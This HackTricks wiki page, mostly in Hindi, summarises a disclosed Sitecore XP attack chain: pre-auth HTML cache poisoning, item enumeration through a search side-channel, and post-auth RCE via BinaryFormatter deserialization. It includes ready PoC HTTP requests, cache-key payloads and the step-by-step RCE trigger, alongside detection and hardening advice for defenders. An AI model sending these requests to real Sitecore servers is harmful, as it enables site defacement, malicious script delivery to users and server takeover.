Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह पृष्ठ Sitecore XP 10.4.1 के खिलाफ एक व्यावहारिक attack chain का सारांश प्रस्तुत करता है जो pre‑auth XAML handler से HTML cache poisoning की ओर मुड़ता है और authenticated UI flow के माध्यम से BinaryFormatter deserialization के जरिए RCE तक पहुँचता है। ये तकनीकें समान Sitecore versions/components पर सामान्यीकृत होती हैं और परीक्षण, पता लगाने, और सुरक्षा सख्ती (harden) के लिए ठोस primitives प्रदान करती हैं।
- प्रभावित उत्पाद (परीक्षण किया गया): Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (जून/जुलाई 2025)
See also:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
प्रवेश बिंदु pre‑auth XAML handler है जो web.config में रजिस्टर्ड है:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
के माध्यम से उपलब्ध:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
कंट्रोल ट्री में AjaxScriptManager शामिल है जो event requests पर attacker‑controlled fields को पढ़ता है और रिफ्लेक्शन के माध्यम से लक्षित कंट्रोल्स पर मेथड्स को invoke करता है:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
मुख्य अवलोकन: XAML पेज में एक XmlControl instance (xmlcontrol:GlobalHeader) शामिल है। Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (एक Sitecore class) से व्युत्पन्न है, जो ReflectionUtil.Filter allow‑list (Sitecore.*) को पास करता है, और इस तरह Sitecore WebControl पर methods अनलॉक हो जाते हैं।
Magic method for poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
क्योंकि हम xmlcontrol:GlobalHeader को target कर सकते हैं और नाम से Sitecore.Web.UI.WebControl methods को call कर सकते हैं, हमें एक pre‑auth arbitrary HtmlCache write primitive मिल जाता है।
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
नोट्स:
- __SOURCE, Sitecore.Shell.Xaml.WebControl में xmlcontrol:GlobalHeader का clientID है (आमतौर पर स्थिर, जैसे ctl00_ctl00_ctl05_ctl03 क्योंकि यह static XAML से व्युत्पन्न होता है)।
- __PARAMETERS का प्रारूप Method("arg1","arg2") है।
क्या poison करना है: Cache key निर्माण
Sitecore controls द्वारा उपयोग किए जाने वाले सामान्य HtmlCache कुंजी निर्माण:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
एक ज्ञात sublayout के लिए लक्षित poisoning का उदाहरण:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
कैशेबल आइटम और “vary by” डायमेंशन्स की सूची बनाना
यदि ItemService (गलत तरीके से) अनाम रूप से एक्सपोज़ है, तो आप सटीक keys निकालने के लिए कैशेबल components को सूचीबद्ध कर सकते हैं।
त्वरित जांच:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
कैश करने योग्य आइटम और फ़्लैग सूचीबद्ध करें:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate जैसे फ़ील्ड खोजें। डिवाइस नामों को निम्नलिखित के माध्यम से सूचीबद्ध किया जा सकता है:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
भले ही ItemService किसी सीमित खाते (e.g., ServicesAPI) की नकल करे और खाली Results array लौटाए, TotalCount फिर भी pre‑ACL Solr hits को दर्शा सकता है। आप wildcards के साथ item groups/ids को brute‑force कर सकते हैं और TotalCount के converge होते हुए internal content और devices का मानचित्र बनते देख सकते हैं:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink convertToRuntimeHtml में (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
यह convertToRuntimeHtml pipeline step ConvertWebControls के माध्यम से पहुँच योग्य है, जो id {iframeId}_inner वाले element को ढूंढता है और उसे base64 decodes + deserializes करके resulting string को HTML में inject कर देता है:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
ट्रिगर (प्रमाणीकृत, Content Editor अधिकार)। FixHtml डायलॉग convertToRuntimeHtml को कॉल करता है। UI क्लिक के बिना एंड‑टू‑एंड:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
पूरा चेन
- Pre‑auth attacker XAML AjaxScriptManager के माध्यम से reflectively WebControl.AddToCache को invoke करके arbitrary HTML के साथ HtmlCache को poison करता है।
- Poisoned HTML JavaScript परोसेगा जो authenticated Content Editor user को FixHtml flow के माध्यम से प्रेरित करता है।
- FixHtml पेज convertToRuntimeHtml → ConvertWebControls को ट्रिगर करता है, जो attacker‑controlled base64 को BinaryFormatter के जरिए deserialize करता है → Sitecore app pool identity के तहत RCE।
पहचान
- Pre‑auth XAML:
/-/xaml/Sitecore.Shell.Xaml.WebControl
के लिए requests जिनमें__ISEVENT=1
, संदिग्ध__SOURCE
और__PARAMETERS=AddToCache(...)
। - ItemService probing:
/sitecore/api/ssc
की wildcard queries में spikes, खालीResults
के साथ बड़ेTotalCount
। - Deserialization attempts:
EditHtml.aspx
के बादFixHtml.aspx?hdl=...
और HTML fields में असाधारण रूप से बड़े base64।
हार्डनिंग
- Sitecore patches KB1003667 और KB1003734 लागू करें; pre‑auth XAML handlers को gate/disable करें या strict validation जोड़ें;
/-/xaml/
की निगरानी और rate‑limit लागू करें। - BinaryFormatter को हटाएँ/बदलें; convertToRuntimeHtml तक access को restrict करें या HTML editing flows पर strong server‑side validation लागू करें।
/sitecore/api/ssc
को loopback या authenticated roles तक लॉकडाउन करें; impersonation patterns से बचें जोTotalCount
‑based side channels को leak करते हैं।- Content Editor users के लिए MFA/least privilege लागू करें; CSP की समीक्षा करें ताकि cache poisoning से JS steering का प्रभाव घटे।
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।